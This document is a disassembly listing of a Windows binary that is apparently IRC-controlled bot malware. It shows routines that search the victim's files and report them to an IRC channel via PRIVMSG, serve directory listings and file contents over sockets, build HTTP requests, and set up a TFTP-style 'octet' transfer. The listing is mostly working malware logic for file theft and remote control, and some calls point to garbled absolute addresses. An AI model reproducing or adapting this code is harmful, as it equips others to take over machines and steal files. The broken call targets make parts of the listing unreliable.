		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406106
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40610F
; ---------------------------------------------------------------------------


loc_406106:				; CODE XREF: sub_4060D0+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40610F:				; CODE XREF: sub_4060D0+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061AA
		mov	[ebp+arg_8], 2


loc_40613A:				; CODE XREF: sub_4060D0+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AB0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40617A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40617A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406194
; ---------------------------------------------------------------------------


loc_40617A:				; CODE XREF: sub_4060D0+7Aj
					; sub_4060D0+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40618A
		push	5Ch
		pop	eax
		jmp	short loc_40618D
; ---------------------------------------------------------------------------


loc_40618A:				; CODE XREF: sub_4060D0+B3j
		movsx	eax, al


loc_40618D:				; CODE XREF: sub_4060D0+B8j
		mov	[ebp+ebx+var_210], al


loc_406194:				; CODE XREF: sub_4060D0+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40613A


loc_4061AA:				; CODE XREF: sub_4060D0+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_314]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_418B6E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26903C5h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061FE
		push	[ebp+arg_0]
		jmp	loc_40627E
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_4060D0+11Cj
		mov	[ebp+var_4], esi


loc_4061FE:				; CODE XREF: sub_4060D0+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40620B
		mov	[ebp+var_4], esi


loc_40620B:				; CODE XREF: sub_4060D0+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406289
		cmp	[ebp+arg_C], edi
		jz	short loc_40627D
		lea	eax, [ebp+var_314]
		push	offset asc_42A65C ; "*"
		push	eax
		call	sub_4179D0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406ACA
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4172AE
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4062D8
; ---------------------------------------------------------------------------


loc_40627D:				; CODE XREF: sub_4060D0+152j
		push	ebx


loc_40627E:				; CODE XREF: sub_4060D0+126j
		call	dword_43F700
		jmp	loc_406380
; ---------------------------------------------------------------------------


loc_406289:				; CODE XREF: sub_4060D0+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 2650879h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172AE
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 2690000h
		nop
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 26307C3h
		nop


loc_4062D8:				; CODE XREF: sub_4060D0+1ABj
					; sub_4060D0+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42A61C
		push	eax
		call	sub_4172AE
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416D5A
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4450C4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4D
		push	edi
		push	edi
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4450D4[ecx], eax
		jz	short loc_406352


loc_406340:				; CODE XREF: sub_4060D0+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_406380
		push	5
		nop
		call	near ptr 260048Fh
		jmp	short loc_406340
; ---------------------------------------------------------------------------


loc_406352:				; CODE XREF: sub_4060D0+26Ej
		push	ebx
		call	dword_43F700
		nop
		call	near ptr 2650BAEh
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42A5D4
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_406380:				; CODE XREF: sub_4060D0+1B4j
					; sub_4060D0+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406387	proc near		; CODE XREF: sub_405F4D+15Ap
					; sub_40EE72+49C9p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417330
		mov	edi, [ebp+arg_0]
		push	offset asc_42A660 ; "\n"
		push	edi
		call	sub_418B6E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063E6
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_4064E5
; ---------------------------------------------------------------------------


loc_4063E6:				; CODE XREF: sub_406387+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064CB
		call	sub_417AB0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	edi
		call	sub_417AB0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_4064E5
; ---------------------------------------------------------------------------


loc_4064CB:				; CODE XREF: sub_406387+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h


loc_4064E5:				; CODE XREF: sub_406387+5Aj
					; sub_406387+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	[ebp+arg_C], ebx
		jz	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		sub	eax, 3
		pop	ecx
		jz	short loc_406531


loc_406525:				; CODE XREF: sub_406387+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406531
		dec	eax
		jnz	short loc_406525


loc_406531:				; CODE XREF: sub_406387+19Cj
					; sub_406387+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8


loc_406580:				; CODE XREF: sub_406387+180j
					; sub_406387+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 26C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jz	loc_406970
		mov	edi, 1FFh


loc_4065AC:				; CODE XREF: sub_406387+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 26A051Ah
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 26A0000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406621
		mov	ecx, offset aAm	; "AM"


loc_406621:				; CODE XREF: sub_406387+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40662D
		sub	eax, 0Ch


loc_40662D:				; CODE XREF: sub_406387+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4172AE
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067D0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066A1
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_406919
; ---------------------------------------------------------------------------


loc_4066A1:				; CODE XREF: sub_406387+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40678B
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406741
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406746
; ---------------------------------------------------------------------------


loc_406741:				; CODE XREF: sub_406387+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_406746:				; CODE XREF: sub_406387+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40691A
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406387+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_406929
; ---------------------------------------------------------------------------


loc_4067D0:				; CODE XREF: sub_406387+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40680F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4067FB:				; CODE XREF: sub_406387+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		jmp	loc_406929
; ---------------------------------------------------------------------------


loc_40680F:				; CODE XREF: sub_406387+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_406903
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068AF
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------


loc_4068AF:				; CODE XREF: sub_406387+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4068B4:				; CODE XREF: sub_406387+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4067FB
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_406387+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_406919:				; CODE XREF: sub_406387+315j
		push	esi


loc_40691A:				; CODE XREF: sub_406387+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 18h


loc_406929:				; CODE XREF: sub_406387+444j
					; sub_406387+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	[ebp+arg_8], ebx
		jz	short loc_406958
		push	7D0h
		nop
		call	near ptr 260048Fh


loc_406958:				; CODE XREF: sub_406387+22Bj
					; sub_406387+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jnz	loc_4065AC


loc_406970:				; CODE XREF: sub_406387+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 26904E3h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069B3
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------


loc_4069B3:				; CODE XREF: sub_406387+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069CD
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406387+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4172AE
		add	esp, 10h


loc_4069E7:				; CODE XREF: sub_406387+62Aj
					; sub_406387+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A0D	proc near		; CODE XREF: sub_405F4D+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2650879h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AC5
		push	esi
		push	ebx
		call	near ptr 2690000h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406ABE


loc_406A52:				; CODE XREF: sub_406A0D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A6F
		mov	edi, [ebp+arg_4]


loc_406A6F:				; CODE XREF: sub_406A0D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2630000h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AB9
		call	dword_43F5FC
		cmp	eax, 2733h
		jnz	short loc_406ABE
		xor	eax, eax


loc_406AB9:				; CODE XREF: sub_406A0D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A52


loc_406ABE:				; CODE XREF: sub_406A0D+43j
					; sub_406A0D+A8j
		push	ebx
		nop
		call	near ptr 26307C3h


loc_406AC5:				; CODE XREF: sub_406A0D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406ACA	proc near		; CODE XREF: sub_4060D0+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AF3


loc_406ADD:				; CODE XREF: sub_406ACA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AE7
		mov	byte ptr [esi+edi], 2Fh


loc_406AE7:				; CODE XREF: sub_406ACA+17j
		push	edi
		inc	esi
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ADD


loc_406AF3:				; CODE XREF: sub_406ACA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF8	proc near		; CODE XREF: sub_40EE72+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43F5E0
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43F668
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BD5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B71
		mov	eax, offset byte_43C80C


loc_406B71:				; CODE XREF: sub_406AF8+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43F6B8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		pop	esi


loc_406BD5:				; CODE XREF: sub_406AF8+6Bj
		push	ebx
		call	dword_43F700
		call	dword_43F5C8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4172AE
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C15
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_406C15:				; CODE XREF: sub_406AF8+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C19	proc near		; CODE XREF: sub_406C19:loc_407104p
					; DATA XREF: sub_407252+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CDC
		push	190h
		nop
		call	near ptr 260048Fh
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC38
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CBC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
